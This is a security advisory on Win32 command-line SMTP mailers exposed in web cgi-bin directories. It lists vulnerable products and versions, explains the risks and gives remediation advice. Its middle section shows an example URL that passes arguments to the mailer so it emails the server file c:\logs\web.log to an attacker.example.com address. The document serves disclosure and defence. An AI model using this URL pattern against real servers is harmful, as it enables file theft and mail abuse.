|
|
|
|
| |
Many command-line SMTP mailers for Win32 platform used to send mail from a web server are vulnerable to serious security problems. These vulnerabilities include the ability to:
- Read and/or write to the server's file system;
- Retrieve files from the server's file system as mail attachments;
- Bounce and/or spoof e-mail messages;
- Spam, flood, mail bomb, or otherwise use a server's resources without authorization;
- Bounce off a server to perform port scans;
- Bounce off a server to perform brute-force attacks to POP and/or SMTP accounts;
- Change default mailer options to route all e-mails through an untrusted mail server;
- Discover information about the server and/or company, including physical paths, e-mail addresses, and environment variables;
- Perform a number of DoS attacks on a server as well as using the server to perform DoS attacks towards other systems;
- View logs of e-mail messages and mailer configuration files.
The vulnerabilities found range from minor to very serious and immediate attention should be given if using a command-line SMTP mailer. |
| |
Credit:
The information has been provided by sozni of Xato Network Security.
|
| |
Vulnerable systems:
BatMail version 1.8d, version 1.85h
CGIMail version 2.5
CLEMAIL version 1.3
Comments version 1.7
FormVar version 1.61
GBMail version 2.02
MailForm version 1.96
MailMe! version 1.6
MailPost version 5.1
MailSend version 7.15
MailSend version 3.18
NetFormDD version 2.9
Postie version 6
SendFile version 1.0
Stalkerlab's Mailers version 1.2
WindMail version 3.05
WebMailer Pro version 1.2, Lite v1.2
wSendmail version 1.5
Although these vulnerabilities are obvious to many, and although similar holes have been found in mailers on other platforms, Xato (the authors of this advisory) felt that this is an issue that needed to be addressed, because of the widespread usage of these tools. In their research, they found that many web servers are using these command-line mailers. They are even included in several e-commerce applications and many web-hosting companies recommend their use. Furthermore, some of these web-hosting companies go so far as to create documentation explaining how to set up the mailers in such a manner that makes them even more vulnerable.
A command-line mailer can be an extremely useful and timesaving administrative tool. However, although many of them were designed to be used with a web server, most of them do not follow safe practices making them a great security risk. The basic problem lies in the fact that they are usually just plain old DOS applications. You can stick just about any non-interactive DOS application into an executable directory on a web server and run it remotely. The problem is that most DOS applications do not realize or even care that they are being run from a web server and so therefore, they behave exactly as if they were run locally from a command prompt.
For example, if you had a mailer named mailer.exe and you placed that file in your cgi-bin directory on your web site, any visitor to your site would be able to run that application by entering the URL:
http://www.example.com/cgi-bin/mailer.exe
Now suppose that by executing "mailer.exe -h" from a command prompt the user could view a list of options. The same thing can be executed from the web by entering the URL:
http://www.example.com/cgi-bin/mailer.exe?-h
The resulting text sent to the browser would be the same list of options that can be seen from the command prompt. To the mailer, there is no difference in being run from a command prompt as being run from a web server.
Many web sites have some sort of feedback, technical support, or order form that allows users to enter data that is then compiled into e-mail and sent to the right person at that site. It is a convenience for the visitor as well as the web site operator. It is very common to simply use one of the many freely available command-line mailers to accomplish this task.
Many of the mailers have CGI interfaces and some are solely designed for web use. Most of them depend on the data sent from the form or supplied through a server-side script. Nevertheless, most of the time the mailer executable is located right in the web in a directory with execute permissions. Anyone can simply bypass the web form and run the mailer directly with the desired command-line arguments.
Now suppose that an attacker runs the command-line mailer with the help switch and discovers that there are options to specify whom the mail is from (-f), whom it is to (-t), and attachment (-a). In our example, one could send e-mail from the command line using the following command:
mailer.exe -f joe@example.com -t me@example.com -a c:\logs\web.log
This same command can be run from the server by using the following command:
http://www.example.com/cgi-bin/mailer.exe? -f%20joe@attacker.example.com%20-t%20me@ attacker.example.com%20-a%20c:\logs\web.log
This command will mail you the file named web.log. Most command-line mailers allow you to specify a recipient and a file attachment, allowing anyone on the Internet to grab any file that the web server has access to.
Looking at the options available for all the command-line mailers, it was discovered that the number of great features that also introduced a number of security holes. For example, one mailer allows the message to be sent to a file instead of a mail recipient. This is a very dangerous feature, as it would allow one to create a batch file in the same directory as the mailer executable. Since this directory is marked executable, the batch file can be run from the web browser as well. Many of the mailers required that the web directory be marked executable, readable, and writeable. All of these things together make a very bad mixture. Another problem with sending to a file is the ability to send data to other DOS devices such as printers, modems, COM ports, etc.
Most of the mailers also allow one to specify the recipient as well as the sender, allowing any one to use the server for SPAM, flooding, mail bombing, resource draining, mail spoofing, denial of service, etc.
Other problems include INI and log files in the same directory as the mailer, command-line options that override the default settings, the ability to modify hidden form variables to exploit the mailer, debug modes that reveal server information, and the ability to queue (and unqueue) messages. One interesting attack we noticed with several mailers is that one can set the server defaults from the command-line interface. By routing all mail through an external SMTP mailer with full logging turned on, one could easily spy on all mail sent through the utility. Such an attack could easily go for a very long time unnoticed.
In short, Xato did not find a single command-line mailer that was secure enough to recommend to be used on a web server. Many have made feeble attempts to secure their products, but are not complete and they have overlooked many of the less serious yet still important vulnerabilities. To make things worse, many users configure or use the mailers in such a way to amplify the effects of the vulnerabilities. Some of these utilities were never even designed for web use and therefore many of these security issues were never even considered. On the other hand, some developers have added some very good security features but they are either not enough or they are not turned on by default. Finally, many web sites operators are using older versions of utilities that do not contain more recent security fixes.
User Solution:
The problem with these utilities is that there is no good solution for fixing many of them unless the developers make some major changes to how they work. The best interim solution may be to call the mailers from a script and keep the actual executable out of the web root. This will not work for all the programs or for all situations. Keep in mind that some of these mailers have only minor problems while others have some very serious holes. The advisory will not be addressing all the specific holes. The best solution is to look at how the mailer handles command-line options and other user input and work with the developer to establish a good strategy for using the mailer on your web site. You should also carefully read the mailer's help file and any supporting documentation.
Another solution is to use a COM-based dll for sending e-mails. Generally, they are more secure much of the burden of keeping them secure is on the web developer. A very weak but possible interim solution until you can fix things is to rename the mailer executable and change the standard defaults.
Developer Solutions:
This is a good opportunity for software developers to look at their own tools and the security holes they may contain. The biggest problem with most of these mailers is that they trust input that should not be trusted. Some use http referrer variables for security and others depend on hidden form variables. The client can easily modify all of these things. Many of the tools allow for a configuration file but often those settings are overridden by the command-line options when in fact the reverse should be true. Everything should default to the most secure settings unless explicitly disabled. Finally, developers should include good documentation on how to properly secure their application.
|
|
|
|
|
|
|
